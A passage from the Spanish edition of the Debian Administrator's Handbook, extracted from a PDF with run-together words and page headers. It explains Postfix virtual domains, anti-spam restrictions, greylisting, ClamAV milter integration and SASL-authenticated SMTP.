Los certificados snake oil, al igual que losmedicamentos vendidos por charlatanessin escrúpulos en los viejos tiempos(promocionados como aceite deserpiente, de ahí su nombre), no tienenabsolutamente ningún valor puesto que segeneran de forma idéntica en todos lossistemas Debian, con la misma parte«privada». Deben utilizarseexclusivamente para pruebas y el servicionormal debe utilizar certificados reales;puede generarlos utilizado elprocedimiento descripto en laSection 10.2.1.1, “Infraestructura de llavepública: easy-rsa”.

11.1.2. Configuración

Page 1176: El Libro Del Administrador de Debian - Raphael Hertzog

de dominios virtualesEl servidor de correo puede recibircorreos dirigidos a otros dominiosdistintos del dominio principal; estosdominios se conocen como «dominiosvirtuales». En la mayoría de los casosen los que es así, los correos no sedirigen en última instancia a losusuarios locales. Postfix proporcionados características interesantes paragestionar dominios virtuales.

ATENCIÓN Dominios virtuales ydominios canónicos

No se debe hacer referencia a ninguno delos dominios virtuales en la variable

Page 1177: El Libro Del Administrador de Debian - Raphael Hertzog

mydestination; esta variable únicamentecontiene los nombres de los dominios«canónicos» asociados directamente conla máquina y sus usuarios locales.

11.1.2.1. Alias de dominiovirtual

Un «alias de dominio virtual» («virtualalias domain») únicamente contienealias, es decir direcciones queúnicamente reenvían los correos haciaotras direcciones.

Para habilitar un dominio de este tipo,agregue su nombre a la variablevirtual_alias_domains y establezca

Page 1178: El Libro Del Administrador de Debian - Raphael Hertzog

un archivo de traducción de direccionesen la variable virtual_alias_maps.

Example 11.2. Directivas a agregaren el archivo /etc/postfix/main.cf

virtual_alias_domains = falcotsbrand.tm.fr

virtual_alias_maps = hash:/etc/postfix/virtual

El archivo /etc/postfix/virtualdescribe la traducción con una sintaxismuy sencilla: cada línea contiene doscampos separados por espacios enblanco; el primer campo es el nombredel alias y el segundo es una lista dedirecciones a las que se redireccionanlos correos. La sintaxis especial@dominio abarca todos los aliasrestantes en un dominio.

Page 1179: El Libro Del Administrador de Debian - Raphael Hertzog

Example 11.3. Archivo/etc/postfix/virtual de ejemplo

[email protected] [email protected]

[email protected] [email protected], [email protected]

# El alias siguiente es genérico y abarca todas las direcciones

# del dominio falcotsbrand.tm.fr que no están incluidas explícitamente

# en este archivo.

# Estas direcciones reenvían el correo al usuario con el mismo nombre

# pero del dominio falcot.com

@falcotsbrand.tm.fr @falcot.com

11.1.2.2. Casillas de dominiovirtual

PRECAUCIÓN ¿Dominio virtualcombinado?

Postfix no permite utilizar el mismo

Page 1180: El Libro Del Administrador de Debian - Raphael Hertzog

dominio en virtual_alias_domains yvirtual_mailbox_domains. Sin embargo,cada dominio devirtual_mailbox_domains es incluidoimplícitamente en virtual_alias_domainslo que permite mezclar alias y casillas enun dominio virtual.

Los mensajes dirigidos a una casilla dedominio virtual son almacenados encasillas que no están asignadas a unusuario local del sistema.

Activar una casilla de dominio virtualrequiere agregar este dominio en lavariable virtual_mailbox_domains yhacer referencia a un archivo deasociación de casillas en

Page 1181: El Libro Del Administrador de Debian - Raphael Hertzog

virtual_mailbox_maps. El parámetrovirtual_mailbox_base contiene eldirectorio en el que se almacenarántodas las casillas.

El parámetro virtual_uid_maps (ovirtual_gid_maps respectivamente)hace referencia al archivo que contienela asociación entre las direcciones decorreo y el usuario de sistema (o gruporespectivamente) «dueño» de la casillacorrespondiente. Para lograr que todaslas casillas pertenezcan al mismousuario/grupo utilice la sintaxisstatic:5000.

Example 11.4. Directivas a agregaren el archivo /etc/postfix/main.cf

Page 1182: El Libro Del Administrador de Debian - Raphael Hertzog

virtual_mailbox_domains = falcot.org

virtual_mailbox_maps = hash:/etc/postfix/vmailbox

virtual_mailbox_base = /var/mail/vhosts

Nuevamente, la sintaxis del archivo/etc/postfix/vmailbox es bastantedirecto: dos campos separados conespacios en blanco. El primer campo esuna dirección de correo en alguno delos dominios virtuales y el segundocampo es la ubicación de la casillaasociada (relativa al directorioespecificado en virtual_mailbox_base).Si el nombre de la casilla finaliza conuna barra (/), se almacenarán loscorreos en formato maildir; de locontrario se utilizará el formato mboxtradicional. El formato maildir utilizaun directorio completo para almacenar

Page 1183: El Libro Del Administrador de Debian - Raphael Hertzog

una casilla, cada mensaje individual esalmacenado en un archivo separado.Por el otro lado, en el formato mbox sealmacena toda la casilla en un archivoy cada línea que comience con «From(From es seguido por un espacio) indicael comienzo de un nuevo mensaje.

Example 11.5. El archivo/etc/postfix/vmailbox

# Se almacena el correo de Jean como maildir, con

# un archivo por correo en un directorio dedicado

[email protected] falcot.org/jean/

# Se almacena el correo de Sophie en un archivo

# «mbox» tradicional con todos los correos

# en un solo archivo

[email protected] falcot.org/sophie

Page 1184: El Libro Del Administrador de Debian - Raphael Hertzog

11.1.3. Restriccionespara recibir y enviarLa cantidad creciente de correo masivono solicitado (spam) hace necesario sercada vez más estricto al decidir quécorreos debe aceptar un servidor. Estasección presenta alguna de lasestrategias incluidas en Postfix.

CULTURA El problema del spam

«Spam» es un término genérico utilizadopara designar todo el correo comercial nosolicitado (UCE por su siglas en inglés:«Unsolicited Commercial Emails») queinundan nuestras casillas electrónicas; los

Page 1185: El Libro Del Administrador de Debian - Raphael Hertzog

individuos sin escrúpulos que lo envíanson conocidos como spammers. Poco lesimportan las molestias que causan ya queenviar un correo cuesta muy poco y sólonecesitan atraer con sus ofertas unporcentaje muy pequeño de quienes loreciban para que la operación de spamgenere más dinero de lo que cuesta. Elproceso es mayormente automático ycualquier dirección de correo que seapublicada (por ejemplo en un foro web,en los compendios de una lista de correo,en un blog, etc.) será descubierta por losrobots de los spammers y víctima de unflujo interminable de mensajes nosolicitados.

Todos los administradores de sistemasintentan enfrentarse a esta molestia confiltros de spam pero, por supuesto, losspammers continúan adaptándose para

Page 1186: El Libro Del Administrador de Debian - Raphael Hertzog

evitar estos filtros. Algunos inclusivealquilan redes de máquinascomprometidas por algún gusano devarios sindicatos criminales. ¡Estadísticasrecientes estiman que hasta un 95% detodos los correos circulando en Internetson spam!

11.1.3.1. Restricciones deacceso basadas en IP

La directivasmtpd_client_restrictions controlaqué máquinas pueden comunicarse conel servidor de correo.

Example 11.6. Restricciones basadas

Page 1187: El Libro Del Administrador de Debian - Raphael Hertzog

en la dirección del cliente

smtpd_client_restrictions = permit_mynetworks,

warn_if_reject reject_unknown_client,

check_client_access hash:/etc/postfix/access_clientip,

reject_rbl_client sbl-xbl.spamhaus.org,

reject_rbl_client list.dsbl.org

Cuando una variable contiene una listade reglas, como en el ejemplo anterior,estas reglas son evaluadas en ordendesde la primera hasta la última. Cadaregla puede aceptar el mensaje,rechazarlo o dejar la decisión de quéhacer a reglas posteriores. Por lo tanto,el orden importa y cambiar el orden enel que están establecidas las reglaspuede provocar un comportamientocompletamente diferente.

Page 1188: El Libro Del Administrador de Debian - Raphael Hertzog

La directiva permit_mynetworks,como primera regla, acepta todos loscorreos que provienen de equipos en lared local (definida por la variable deconfiguración mynetworks).

La segunda directiva normalmenterechazará correos que provienen deequipos sin una configuración de DNScompletamente válida. Estaconfiguración válida significa que ladirección IP está asociada a un nombrey que este nombre, además, resuelve adicha dirección IP. Generalmente, estarestricción es demasiado estricta yaque muchos servidores de correo notienen un DNS inverso para sudirección IP. Esto explica porqué los

Page 1189: El Libro Del Administrador de Debian - Raphael Hertzog

administradores de Falcot agregaron elmodificador warn_if_reject antes dela directiva reject_unkown_client:este modificado convierte el rechazo enuna simple advertencia guardada en losregistros. Los administradores puedenrevisar la cantidad de mensajes quehubiesen sido rechazados si esta reglahubiese sido aplicada y luego tomardecisiones informadas si deseanactivarla.

SUGERENCIA Tablas access

El criterio de restricción incluye tablasque pueden ser modificadas por unadministrador que contienencombinaciones de remitente, dirección IPy nombres de equipo permitidos o

Page 1190: El Libro Del Administrador de Debian - Raphael Hertzog

prohibidos. Puede crear estas tablas desdeuna copia descomprimida del archivo/usr/share/doc/postfix-

doc/examples/access.gz. Este modeloestá documentado en sus comentarios, loque significa que cada tabla describe supropia sintaxis.

La tabla /etc/postfix/access_clientipenumera direcciones IP y redes;/etc/postfix/access_helo enumeranombres de dominio;/etc/postfix/access_sender contienedirecciones de correo de remintentes.Necesita convertir todos estos archivos en«tablas hash» (un formato optimizadopara acceso rápido) luego de cada cambioejecutando postmap /etc/postfix/archivo.

La tercera directiva permite al

Page 1191: El Libro Del Administrador de Debian - Raphael Hertzog

administrador definir listas negras yblancas de servidores de correo,almacenadas en el archivo/etc/postfix/access_clientip. Seconsideran confiables aquellosservidores en la lista blanca y, por lotanto, sus correos no pasarán por lassiguientes reglas de filtro.

Las últimas dos reglas rechazancualquier mensaje que provenga de unservidor incluido en una de las listasnegras indicadas. RBL es un acrónimode Remote Black List (lista negraremota); hay muchas de estas listaspero todas enumeran servidores malconfigurados que los spammersutilizan para redirigir sus correos así

Page 1192: El Libro Del Administrador de Debian - Raphael Hertzog

como también equipos inesperadoscomo máquinas infectadas con algúngusano o virus.

SUGERENCIA Listas blancas y RBLs

Las listas negras a veces incluyen unservidor legítimo que ha sufrido unincoveniente. En estas situaciones, serechazarán todos los correos queprovengan de alguno de estos servidoresa menos que el servidor esté incluido enuna lista blanca definida en/etc/postfix/access_clientip.

La prudencia recomienda entonces incluiren la lista blanca todos los servidoresconfiables desde los que frecuentementerecibirá muchos correos.

Page 1193: El Libro Del Administrador de Debian - Raphael Hertzog

11.1.3.2. Revisión de lavalidez de las órdenes EHLO oHELO

Cada intercambio SMTP comienza conla orden HELO (o EHLO) seguida delnombre del servidor que envía elcorreo; puede ser interesante validareste nombre.

Example 11.7. Restricciones en elnombre anunciado con EHLO

smtpd_helo_restrictions = permit_mynetworks, reject_invalid_hostname,

check_helo_access hash:/etc/postfix/access_helo,

reject_non_fqdn_hostname, warn_if_reject reject_unknown_hostname

La primera directiva

Page 1194: El Libro Del Administrador de Debian - Raphael Hertzog

permit_my_networks permite quetodas las máquinas en la red local sepresenten libremente. Esto esimportante ya que algunos programasde correo no respetan esta parte delprotocolo SMTP de formasuficientemente correcta y puedenpresentarse a sí mismos con nombressin sentido.

La regla reject_invalid_hostnamerechaza los correos cuando el anuncioEHLO enumere un nombresintácticamente incorrecto. La reglareject_non_fqdn_hostname rechazamensajes cuando el nombre anunciadono es un nombre de dominiocompletamente calificado (incluye un

Page 1195: El Libro Del Administrador de Debian - Raphael Hertzog

nombre de dominio así como tambiénel nombre del equipo). La reglareject_unkown_hostname rechaza losmensajes si el nombre anunciado noexiste en su DNS. Los administradoreshicieron que los efectos de esta reglasean sólo una advertencia con elmodificador warn_if_reject debido aque, lamentablemente, generademasiados rechazos. Esto es sólo unprimer paso, pueden decidir eliminar elmodificador en el futuro luego deanalizar los resultados de esta regla.

Utilizar permit_mynetworks como laprimera regla tiene un efectosecundario interesante: las reglassiguientes sólo serán aplicadas a los

Page 1196: El Libro Del Administrador de Debian - Raphael Hertzog

equipos fuera de la red local. Estopermite rechazar todos los equipos quese anuncien a sí mismos como parte defalcot.com, por ejemplo agregandouna línea falcot.com REJECT ¡No esparte de nuestra red! en el archivo/etc/postfix/access_helo.

11.1.3.3. Aceptación orechazo basado en elremitente anunciado

Cada mensaje tiene un remitenteanunciado con la orden MAIL FROM delprotocolo SMTP; nuevamente, puedevalidar esta información de variasformas.

Page 1197: El Libro Del Administrador de Debian - Raphael Hertzog

Example 11.8. Verificación deremitente

smtpd_sender_restrictions =

check_sender_access hash:/etc/postfix/access_sender,

reject_unknown_sender_domain, reject_unlisted_sender,

reject_non_fqdn_sender

La tabla/etc/postfix/access_sender asociaalgún tratamiento especial a algunosremitentes. Esto generalmente significaenumerar algunos remitentes en unalista negra o blanca.

La reglareject_unknown_sender_domain

requiere un remitente con dominioválido, ya que es necesario en unadirección válida. La regla

Page 1198: El Libro Del Administrador de Debian - Raphael Hertzog

reject_unlisted_sender rechazaremitentes locales si la dirección noexiste; esto evita que se envíen correosdesde una dirección inválida en eldominio falcot.com y los mensajes [email protected] sólo sonaceptados si existe dicha dirección.

Finalmente, la reglareject_non_fqdn_sender rechaza loscorreos que dicen provenir dedirecciones sin un nombre de dominiocompletamente calificado. En lapráctica significa rechazar correos queprovienen de usuario@equipo: ladirección debe anunciarse [email protected] [email protected].

Page 1199: El Libro Del Administrador de Debian - Raphael Hertzog

11.1.3.4. Aceptación orechazo basado en elreceptor

Cada correo tiene al menos un receptor,anunciado con la orden RCPT TO en elprotocolo SMTP. Estas direccionestambién requieren validación, aún sipueden ser menos relevantes que lasverificaciones realizadas en ladirección del remitente.

Example 11.9. Verificación dereceptor

smtpd_recipient_restrictions = permit_mynetworks,

reject_unauth_destination, reject_unlisted_recipient,

reject_non_fqdn_recipient

Page 1200: El Libro Del Administrador de Debian - Raphael Hertzog

reject_unauth_destination es laregla básica que requiere que losmensajes externos estén destinados anosotros; se rechazarán los mensajesque sean enviados a una dirección queno sea gestionada por este servidor. Sinesta regla, el servidor se convierte enuna forma abierta de reenvío quepermite que los spammers envíencorreos no solicitados; por lo tanto serecomienda fuertemente esta regla yque preferentemente esté ubicada cercadel principio de la lista para evitar queotras reglas autoricen el paso delmensaje antes que se verifique sudestino.

La regla reject_unlisted_recipient

Page 1201: El Libro Del Administrador de Debian - Raphael Hertzog

rechaza los mensajes enviados ausuarios locales que no existen, lo quetiene sentido. Finalmente, la reglareject_non_fqdn_recipient rechazadirecciones que no sean completamentecalificadas; esto hace imposible enviarun correo a jean o jean@equipo ynecesita, en cambio, utilizar ladirección completa [email protected] [email protected].

11.1.3.5. Restriccionesasociadas con la orden DATA

Se emite la orden DATA en SMTP antesdel contenido del mensaje. No provee

Page 1202: El Libro Del Administrador de Debian - Raphael Hertzog

ninguna información en sí mismaademás de anunciar lo que seguirá.Todavía puede ser sujeta a verificación.

Example 11.10. Verificación de DATA

smtpd_data_restrictions = reject_unauth_pipelining

Las directivasreject_unauth_pipelining causaque se rechace el mensaje si elremitente envía una orden antes que seenvía la respuesta a la orden anterior.Esto previene una optimización comúnutilizada por los robots de spammersya que no tienen el menor interés en lasrespuestas y sólo están interesados enenviar tantos correos como sea posibleen el menor tiempo posible.

Page 1203: El Libro Del Administrador de Debian - Raphael Hertzog

11.1.3.6. Implementación derestricciones

Si bien las órdenes anteriores validanla información en las varias etapas delintercambio SMTP, Postfix sólo envíael rechazo en sí como respuesta a laorden RCPT TO.

Esto significa que aún si se rechaza elmensaje debido a una orden EHLO noválida, Postfix conoce el remitente y elreceptor cuando anuncia un rechazo.Luego puede registrar un mensaje másexplícito de lo que podría si se hubierainterrumpido la transacción alcomienzo. Además, una cantidad declientes SMTP no esperan fallos en las

Page 1204: El Libro Del Administrador de Debian - Raphael Hertzog

primeras órdenes de SMTP y estosclientes no se molestarán tanto por esterechazo tardío.

Una ventaja final de esta opción es quelas reglas pueden acumularinformación durante las varias etapasde SMTP; esto permite definirpermisos más precisos, como rechazarconexiones remotas si se anuncia comoun remitente local.

11.1.3.7. Filtros basados enel contenido del mensaje

VISTA RÁPIDA Tablas de expresionesregulares («regexp»)

Page 1205: El Libro Del Administrador de Debian - Raphael Hertzog

El archivo /usr/share/doc/postfix-doc/examples/header_checks.gz contienemuchos comentarios explicativos y puedeutilizarlo como punto de partida paracrear los archivos/etc/postfix/header_checks y/etc/postfix/body_checks.

El sistema de validación y restricciónno estaría completo sin una forma derealizar verificaciones en el contenidode los mensajes. Postfix diferencia lasverificaciones en las cabeceras delcorreo de aquellas sobre el cuerpo delmensaje.

Example 11.11. Habilitación defiltros basados en contenido

Page 1206: El Libro Del Administrador de Debian - Raphael Hertzog

header_checks = regexp:/etc/postfix/header_checks

body_checks = regexp:/etc/postfix/body_checks

Ambos archivos contienen una lista deexpresiones regulares (normalmenteconocidas como regexps o regexes) ylas acciones asociadas que se debendisparar cuando las cabeceras (ocuerpo) del mensaje coincida con laexpresión.

Example 11.12. Archivo/etc/postfix/header_checks deejemplo

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)

/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

VOLVER A LOS CIMIENTOS

Page 1207: El Libro Del Administrador de Debian - Raphael Hertzog

Expresiones regulares

El término expresión regular (acortadocomo regexp o regex) hace referencia auna notación genérica para expresar unadescripción del contenido o estructura deuna cadena de caracteres. Algunoscaracteres especiales permiten definiralternativas (por ejemplo foo|barcoincidirá tanto «foo» como «bar»),conjuntos de caracteres permitidos (porejemplo [0-9] significa cualquier dígito y. — un punto — significa cualquiercarácter), cuantificadores (s? coincidirátanto con s como con la cadena vacía, enotras palabras 0 o 1 ocurrencia de s; s+coincidirá con uno o más caracteres sconsecutivos, etc.). Los paréntesispermiten agrupar resultados de búsqueda.

La sintaxis exacta de estas expresiones es

Page 1208: El Libro Del Administrador de Debian - Raphael Hertzog

diferente en cada herramienta que lasutilizan, pero las características básicasson similares.

→ http://es.wikipedia.org/wiki/Expresión_regular

El primero revisa la cabecera quemenciona el software de correo; si esGOTO Sarbacane (un software encorreo masivo), el mensaje esrechazado. La segunda expresión revisael asunto del mensaje; si menciona unanotificación de virus podemos decidirno rechazar el mensaje sino, encambio, descartarlo inmediatamente.

Utilizar estos filtros es un arma dedoble filo ya que es sencillo crear

Page 1209: El Libro Del Administrador de Debian - Raphael Hertzog

reglas demasiado genéricas y, enconsecuencia, perder correos legítimos.En estos casos, no sólo se perderán losmensajes sino que sus remitentesrecibirán mensajes de error nodeseados (y molestos).

11.1.4. Configuraciónde «listas grises»(greylisting)Las «listas grises» («greylisting») sonuna técnica de filtrado en lainicialmente se rechaza un mensaje conun código de error temporal y sólo esaceptado en un intento futuro luego de

Page 1210: El Libro Del Administrador de Debian - Raphael Hertzog

cierta demora. Este filtro esparticularmente eficiente contra elspam enviado por máquinas infectadascon gusanos y virus ya que éstos raravez actúan como agentes SMTPcompletos (revisando el código deerror y reintentando luego mensajesfallados), especialmente debido a quemuchas de las direcciones recolectadasson inválidas y reintentarlas sólo seríauna pérdida de tiempo.

Postfix no provee listas grises de formanativa, pero posee una funcionalidad enla que la decisión de aceptar o rechazarun mensaje dado puede ser delegada aun programa externo. El paquetepostgrey contiene dicho programa,

Page 1211: El Libro Del Administrador de Debian - Raphael Hertzog

diseñado para interactuar con suservicio de delegación de políticas deacceso.

Una vez que instaló postgrey, éste seejecutará como un demonio queescucha en el puerto 60000. Luegopuede configurar postfix para utilizarlosi agrega el parámetrocheck_policy_service como unarestricción adicional:

smtpd_recipient_restrictions = permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:60000

Cada vez que Postfix alcance estaregla, se conectará con el demonio

Page 1212: El Libro Del Administrador de Debian - Raphael Hertzog

postgrey y le enviará la informacióndel mensaje en cuestión. Por su parte,Postgrey considerará la ternacompuesta por la dirección IP, elremitente y el receptor y revisará en subase de datos si ésta fue intentadarecientemente. En caso que así sea,Postgrey responderá que el mensajedebe ser aceptado; de lo contrario, larespuesta indicará que el mensajedeberá ser rechazado temporalmente yagregará la terna a su base de datos.

La principal desventaja de las listasgrises es que demorará mensajeslegítimos, lo que no siempre esaceptable. También aumenta la cargaen los servidores que envían muchos

Page 1213: El Libro Del Administrador de Debian - Raphael Hertzog

correos legítimos.

EN LA PRÁCTICA Desventajas de laslistas grises

En teoría, las listas grises sólo deberíandemorar el primer correo de un remitentea un receptor particular, y la demoratípica es del orden de minutos. Larealidad, sin embargo, puede serligeramente diferente. Algunos ISPsgrandes utilizan conjuntos de servidoresSMTP y, cuando el mensaje es rechazadoinicialmente, el servidor que lo reintentepuede no ser el mismo que el que envió elmensaje inicial. Cuando ocurre esto, elsegundo servidor también recibirá unerror temporal debido a la lista gris y asísucesivamente; puede tomar varias horashasta que la transmisión sea intentada por

Page 1214: El Libro Del Administrador de Debian - Raphael Hertzog

un servidor que ya estuvo involucrado yaque los servidores SMTP generalmenteaumentan la demora entre intentoscuando éstos fallan.

Como consecuencia, la dirección IPpuede cambiar en el tiempo aún para unremitente particular. Pero hay más: ladirección del remitente también puedecambiar. Por ejemplo, muchos servidoresde listas de correo codifican informaciónextra en la dirección del remitente parapoder gestionar mensajes de error(conocidos como «bounces»). Luego,puede que cada nuevo mensaje enviado auna lista de correo necesite pasar por laslistas grises, lo que significa que debe seralmacenado (temporalmente) en elservidor del remitente. Para listas decorreo muy grandes (con decenas demiles de suscriptos), esto puede

Page 1215: El Libro Del Administrador de Debian - Raphael Hertzog

convertirse en un problema rápidamente.

Para mitigar estas desventajas, Postgreygestiona listas blancas de tales sitios y losmensajes que provengan de ellas sonaceptados inmediatamente sin pasar através de las listas grises. Puede adaptaresta lista fácilmente a sus necesidadeslocales ya que se encuentra almacenadaen el archivo/etc/postgrey/whitelist_clients.

YENDO MÁS ALLÁ Listas grisesselectivas con whitelister

También puede evitar los inconvenientesde las listas grises sólo utilizándolas en elsubconjunto de clientes que ya sonconsiderados como fuentes probables despam (porque se encuentran en una lista

Page 1216: El Libro Del Administrador de Debian - Raphael Hertzog

negra de DNS). whitelister provee esteservicio, otro demonio de políticas deacceso para Postfix que puede utilizarcomo filtro justo antes de Postgrey. Si elcliente no se encuentra en ninguna listanegra, Whitelister le dirá a Postfix queacepte el mensaje; de lo contrario,Whitelister indicará que no tiene opiniónal respecto y el mensaje continuará a lasiguiente regla (que usualmente será lallamada a Postgrey). De formapredeterminada, Whitelister escucha en elpuerto 10000.

smtpd_recipient_restrictions = permit_mynetworks,

[...]

check_policy_service inet:127.0.0.1:10000,

check_policy_service inet:127.0.0.1:60000

Dado que Whitelister nunca genera unrechazo definitivo, es razonable utilizarlistas negras de DNS agresivas,

Page 1217: El Libro Del Administrador de Debian - Raphael Hertzog

incluyendo aquellas que incluyen todaslas direcciones IP dinámicas de clientesde ISPs (como dynablock.njabl.org odul.dnsbl.sorbs.net). Puedeconfigurarlo con el parámetro rbl en elarchivo de configuración/etc/whitelister.conf.

11.1.5. Personalizaciónde filtros basados en elreceptorLas últimas dos secciones revisaronmuchas de las restricciones posibles.Todas son útiles para limitar la

Page 1218: El Libro Del Administrador de Debian - Raphael Hertzog

cantidad de spam recibido, perotambién tienen su desventajas. Por lotanto, es más y más común,personalizar el conjunto de filtrossegún el receptor. En Falcot Corp, laslistas grises son interesantes para lamayoría de los usuarios pero entorpeceel trabajo de algunos usuarios quenecesitan una latencia baja en suscorreos (como el servicio de soportetécnico). De forma similar, el serviciocomercial a veces tiene problemas pararecibir correos de algunos proveedoresasiáticos que pueden encontrarse enlistas negras; este servicio solicitó unadirección sin filtros para poderintercambiar correspondencia.

Page 1219: El Libro Del Administrador de Debian - Raphael Hertzog

Postfix provee tal personalización defiltros con el concepto de «clases derestricción». Declarará las clases en elparámetrosmtpd_restriction_classes de lamisma forma quesmtpd_recipient_restrictions. Ladirectiva check_recipient_accessdefine luego una tabla que asocia unreceptor dado con el conjunto derestricciones apropiadas.

Example 11.13. Definición de clasesde restricción en main.cfsmtpd_restriction_classes = greylisting, aggressive, permissive

greylisting = check_policy_service inet:127.0.0.1:10000,

check_policy_service inet:127.0.0.1:60000

aggressive = reject_rbl_client sbl-xbl.spamhaus.org,

Page 1220: El Libro Del Administrador de Debian - Raphael Hertzog

check_policy_service inet:127.0.0.1:60000

permissive = permit

smtpd_recipient_restrictions = permit_mynetworks,

reject_unauth_destination,

check_recipient_access hash:/etc/postfix/recipient_access

Example 11.14. El archivo/etc/postfix/recipient_access

# Direcciones sin filtro

[email protected] permissive

[email protected] permissive

[email protected] permissive

# Filtros agresivos para algunos usuarios privilegiados

[email protected] aggressive

# Regla especial para el administrador de la lista de correos

[email protected] reject_unverified_sender

# Listas grises de forma predeterminada

falcot.com greylisting

Page 1221: El Libro Del Administrador de Debian - Raphael Hertzog

11.1.6. Integración conun antivirusLa cantidad de virus circulando comoadjuntos de correos hace importanteconfigurar un antivirus en el punto deentrada de la red corporativa, ya que apesar de una campaña deconcientización, algunos usuarios aúnabriran los adjuntos de mensajesobviamente sospechosos.

Los administradores de Falcotseleccionaro clamav como su antiviruslibre. El paquete principal es clamav,pero tambien instalaron algunospaquetes adicionales como arj, unzoo,

Page 1222: El Libro Del Administrador de Debian - Raphael Hertzog

unrar y lha ya que son necesarios paraque el antivirus analice archivosadjuntos en alguno de estos formatos.

La tarea de interactuar entre elantivirus y el servidor de correo lecorresponde a clamav-milter. Un«milter» (apócope de «filtro decorreo»: «mail filter») es un programade filtrado diseñado especialmente parainteractuar con servidores de correo.Un milter utiliza una interfaz deprogramación de aplicaciones (API:«Application Programming Interface»)que provee un rendimiento muchomejor que los filtros ajenos a losservidores de correo. Sendmailintrodujo inicialmente a los milters,

Page 1223: El Libro Del Administrador de Debian - Raphael Hertzog

pero Postfix los implementó pocodespués.

VISTA RÁPIDA Un milter paraSpamassassin

El paquete spamass-milter provee unmilter basado en SpamAssassin, el famosodetector de correo no deseado. Puedeutilizarlo para marcar mensajes comoprobable spam (agregando una cabeceraadicional) y/o rechazar el mensajecompletamente si su «puntaje de spam»supera cierto límite.

Una vez que instaló clamav-milter,debe editar el archivo/etc/default/clamav-milter para

Page 1224: El Libro Del Administrador de Debian - Raphael Hertzog

que éste ejecute en un puerto TCP enlugar del zócalo con nombre que utilizade forma predeterminada:

SOCKET=inet:[email protected]

Sólo se tomará en cuenta esta nuevaconfiguración después que ejecute/etc/init.d/clamav-milter restart.

La configuración estándar de ClamAVse ajusta a la mayoría de lassituaciones, pero puede personalizaralgunos parámetros importantes condpkg-reconfigure clamav-base. Deforma similar, ejecutar dpkg-reconfigure clamav-milter lepermitirá definir con cierto detalle el

Page 1225: El Libro Del Administrador de Debian - Raphael Hertzog

comportamiento del filtro de correos.

El último paso involucra decirle aPostfix que utilice el filtrorecientemente configurado. Esto es tansimple como agregar la siguientedirectiva a /etc/postfix/main.cf:

# Revisión de virus con clamav-milter

smtpd_milters = inet:[127.0.0.1]:10002

Si el antivirus causa problema, puedecomentar esta línea; deberá ejecutar/etc/init.d/postfix reload para que setenga en cuenta el cambio.

EN LA PRÁCTICA Prueba del antivirus

Page 1226: El Libro Del Administrador de Debian - Raphael Hertzog

Una vez que configuró el antivirus, debeprobar que funciona correctamente. Laforma más simple de hacerlo es enviar uncorreo de prueba con un adjunto quecontenga el archivo eicar.com (oeicar.com.zip) que puede descargar:

→ http://www.eicar.org/anti_virus_test_file.htm

Este archivo no es un virus real sino unarchivo de prueba que todo softwareantivirus en el mercado diagnostica comoun virus para poder probar instalaciones.

Todos los mensajes gestionados porPostfix ahora pasarán a través del filtroantivirus.

Page 1227: El Libro Del Administrador de Debian - Raphael Hertzog

11.1.7. SMTPautenticadoPoder enviar correos necesita quepueda acceder al servidor SMTP;también requiere que dicho servidorSMTP permita enviar correos. Parausuarios móviles, que pueden necesitarcambiar la configuración de su clienteSMTP regularmente ya que el servidorSMTP de Falcot rechaza los mensajesque provienen de direcciones IPs queno parecen pertenecer a la compañía.Existen dos soluciones: o bien losusuarios móviles instalan un servidorSMTP en sus equipos o utilizan elservidor de la compañía con alguna

Page 1228: El Libro Del Administrador de Debian - Raphael Hertzog

forma de autenticarse como empleados.No se recomienda la primera soluciónya que el equipo no estará conectadopermanentemente y no podrá volver aintentar enviar mensajes en caso deproblemas; nos enfocaremos en laúltima solución.

La autenticación SMTN en Postfixdepende de SASL (capa de seguridad yautenticación simple: «SimpleAuthentication and Security Layer»).Necesitará instalar los paqueteslibsasl2-modules y sasl2-bin, y luegoregistrar una contraseña en la base dedatos SALS para cada usuario quenecesite autenticarse en el servidorSMTP. Puede hacerlo con el programa

Page 1229: El Libro Del Administrador de Debian - Raphael Hertzog

saslpasswd2 que toma variosparámetros. La opción -u define eldominio de autenticación, que debecoincidir con el parámetrosmtpd_sasl_local_domain en laconfiguración de Postfix. La opción -cpermite crear un usuario y la opción -fpermite especificar el archivo a utilizarsi necesita almacenar la base de datosSALS en una ubicación diferente a lapredeterminada (/etc/sasldb2).

# saslpasswd2 -h `postconf -h myservidor` -f /var/spool/postfix/etc/sasldb2 -c jean

[... ingrese la contraseña de jean dos veces ...]

Note que se creó la base de datos SASLen el directorio de Postfix. Para poderasegurar consistencia, también

Page 1230: El Libro Del Administrador de Debian - Raphael Hertzog

convertimos /etc/sasldb2 en unenlace simbólico que apunta a la basede datos utilizada por Postfix con ln -sf/var/spool/postfix/etc/sasldb2/etc/sasldb2.

Ahora necesitamos configurar Postfixpara que utilice SASL. Primeronecesita agregar al usuario postfix algrupo sasl para que pueda acceder a labase de datos SASL. Tambiénnecesitará agregar algunos parámetrosnuevos para activar SASL y necesitaconfigurar el parámetrosmtpd_recipient_restrictions parapermitir que los clientes autenticadospor SASL puedan enviar correoslibremente.

Page 1231: El Libro Del Administrador de Debian - Raphael Hertzog

Example 11.15. Activación de SASLen /etc/postfix/main.cf

# Activar autenticación SASL

smtpd_sasl_auth_enable = yes

# Definir el dominio de autenticación SASL

smtpd_sasl_local_domain = $myhostname

[...]

# Agregar permit_sasl_authenticated antes de reject_unauth_destination

# permite reenviar correos enviados por usuarios autenticados por SASL

smtpd_recipient_restrictions = permit_mynetworks,

permit_sasl_authenticated,

reject_unauth_destination,

[...]

EXTRA Cliente SMTP autenticado

La mayoría de los clientes de correopueden autenticarse con un servidorSMTP antes de enviar mensajes, y utilizaresta funcionalidad es tan simple como

Page 1232: El Libro Del Administrador de Debian - Raphael Hertzog

configurar los parámetros apropiados. Siel cliente utilizado no provee estafuncionalidad, puede utilizar un servidorPostfix local y configurarlo para reenviarel correo a través de un servidor SMTPremoto. En este caso, el Postfix local seráel cliente que se autentica con SASL.Estos son los parámetros necesarios:

smtp_sasl_auth_enable = yes

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd

relay_host = [mail.falcot.com]

El archivo /etc/postfix/sasl_passwdnecesita contener el nombre de usuarios yla contraseña a utilizar para autenticarseen el servidor smtp.falcot.com. Porejemplo:

[mail.falcot.com] joe:LyinIsji

Page 1233: El Libro Del Administrador de Debian - Raphael Hertzog

